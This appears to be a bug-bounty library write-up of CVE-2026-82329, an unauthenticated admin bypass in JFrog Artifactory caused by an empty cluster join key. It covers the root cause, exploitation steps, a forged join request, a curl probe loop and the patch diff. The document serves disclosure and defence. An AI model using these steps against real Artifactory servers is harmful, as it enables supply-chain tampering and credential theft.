# CVE-2026-82329: Unauthenticated Administrative Access in JFrog Artifactory via an Empty Cluster Join Key

Unset additional-join-keys config registers an empty-string cluster join key in JFrog Access, letting unauthenticated attackers forge a JWT and mint a permanent admin token.

- Payout: Real-world hack
- Severity: critical
- Program: JFrog
- Disclosed: 2026-09-11
- CVE: CVE-2026-82329
- Write-up quality: 9/10
- Original: https://bishopfox.com/blog/cve-2026-82329-unauthenticated-administrative-access-in-jfrog-artifactory-via-an-empty-cluster-join-key
- Library page: https://bugbountylibrary.com/r/blog%3Abishopfox-com-blog-cve-2026-82329-unauthenticated-administrative-access-in-jfrog-artifactory-via-an-empty-cluster-join-k
- Tags: area:cloud domain:infra impact:integrity impact:internal-access impact:privesc kind:incident platform:research sev:critical tech:java technique:default-creds technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass

**Target:** JFrog Access cluster-join endpoint /access/api/v1/registry/join
**Root cause:** resolveJoinKeys returns an empty string for an unset additional-join-keys config; the !joinKey.isEmpty() guard checks the Optional wrapper not the string, split(",") on empty yields one empty element, and JoinKeyHashPair only validates hex encoding, so the empty string is registered as a join key with kid SHA-256("") and a PKCS7-padded 32x0x20 secret.
**Steps:**
1. Identify default self-managed Artifactory <7.111.21 with Access reachable on port 8082.
2. Compute kid = SHA-256("") = e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 and secret = 32 bytes of 0x20 (PKCS7 pad of empty to 32).
3. Forge HS256 JWT with claims iat, kid, service_id, node_id, skip_node_registration signed with 32x 0x20.
4. `POST /access/api/v1/registry/join` with `Content-Type: text/plain` and the JWT as body.
5. Receive HTTP 201 with token `{"scp":"admin","aud":"jfac@...","iat":...,"jti":...}` and no exp.
6. Mint a token scoped applied-permissions/admin for audience *@* and call `GET /artifactory/api/system/configuration` to retrieve full system config.
**How found:** Class-level diff of vulnerable (7.111.20) and patched (7.111.21) container images plus decompilation of the two changed classes; traced resolveJoinKeys through JoinKeyAccess and JoinKeyHashPair to see the empty string surviving all three guards, then computed the kid and PKCS7-padded secret offline.
**Exploitation:** Single unauthenticated POST to the registry/join endpoint with a JWT signed by the derivable empty-key secret returns a non-expiring admin-scoped Access token (ServiceTokenProviderImpl builds it with .scope("admin").expiresIn(0)). That token's aud limits it to Access, so one further token mint scoped applied-permissions/admin for audience *@* yields Artifactory admin, enabling read of all artifacts, publishing malicious packages under trusted coordinates, retrieval of upstream registry credentials, and alteration of repository definitions.
**Escalation:** Access-scoped admin token escalated to full Artifactory admin by minting an applied-permissions/admin token for audience *@*, then reading system configuration and pivoting to upstream registry credentials and downstream build pipelines.
**Insight:** When a config value is Optional-wrapped, `!opt.isEmpty()` tests presence of the lookup result, not the string; and split(",") on an empty string returns one empty element, so blank values flow into loops that assume non-empty. Also: PKCS7-padding an empty byte array to 32 bytes yields 32 bytes of 0x20, a fully predictable HMAC secret.

## Proof of concept (copied exactly from the original report)

**Forged join request returning admin token**

```
POST /access/api/v1/registry/join HTTP/1.1 
Host: target:8082 
Content-Type: text/plain 
 
<HS256 JWT, signed with 32x 0x20, claims: iat, kid, service_id, node_id, skip_node_registration> 

Against a default 7.111.20 instance this returns HTTP 201 and a token decoding to:

{"iss":"jfrt@0175bc4fdf82a4","sub":"jfrt@0175bc4fdf82a4","scp":"admin", 
"aud":"jfac@01m1pbnfvc70y01ewngptj1txz","iat":1788530695,"jti":"b3c985e7-59e9-4d89-bea3-df58f6263f43"}
```

**Static probe tokens and curl loop**

```
TOK_EMPTY=[redacted] 
TOK_DECOY=[redacted] 
 
# Access answers through the router, port 8082 by default, not the 8081 UI port 
for T in "$TOK_EMPTY" "$TOK_DECOY"; do 
 curl -sk -X POST "https://artifactory.example.co..." \ 
 -H 'Content-Type: text/plain' -d "$T" | grep -E 'message|detail'
```

**Patch diff for JoinKeyAccess and JoinKeyHashPair**

```
--- 7.111.20/org/jfrog/access/server/startup/JoinKeyAccess.java 
+++ 7.111.21/org/jfrog/access/server/startup/JoinKeyAccess.java 
- Arrays.stream(((String)joinKey.get()).split(",")).map(String::trim).forEach(jKey -> { 
+ Arrays.stream(((String)joinKey.get()).split(",")).map(String::trim).filter(Strings::isNotBlank).forEach(jKey -> { 
 
--- 7.111.20/org/jfrog/access/token/JoinKeyHashPair.java 
+++ 7.111.21/org/jfrog/access/token/JoinKeyHashPair.java 
 public JoinKeyHashPair(String joinKey) { 
+ if (joinKey == null || joinKey.isBlank()) { 
+ throw new IllegalArgumentException("Join key must not be null or blank"); 
+ } 
 KeyUtils.validateHexEncoding((String)joinKey);
```

## Write-ups of the same bug (oldest first)
- 2026-09-10: [Artifactory Under Attack: In-the-Wild Exploitation of CVE-2026-42016, CVE-2026-42018 & CVE-2026-82329](https://bugbountylibrary.com/r/blog%3Awiz-io-blog-artifactory-under-attack-in-the-wild-exploitation-of-cve-2026-42016-cve-2026-4201) — Wiz Research
- 2026-09-11: [CVE-2026-82329: Unauthenticated Administrative Access in JFrog Artifactory via an Empty Cluster Join Key](https://bugbountylibrary.com/r/blog%3Abishopfox-com-blog-cve-2026-82329-unauthenticated-administrative-access-in-jfrog-artifactory-via-an-empty-cluster-join-k) (this one)

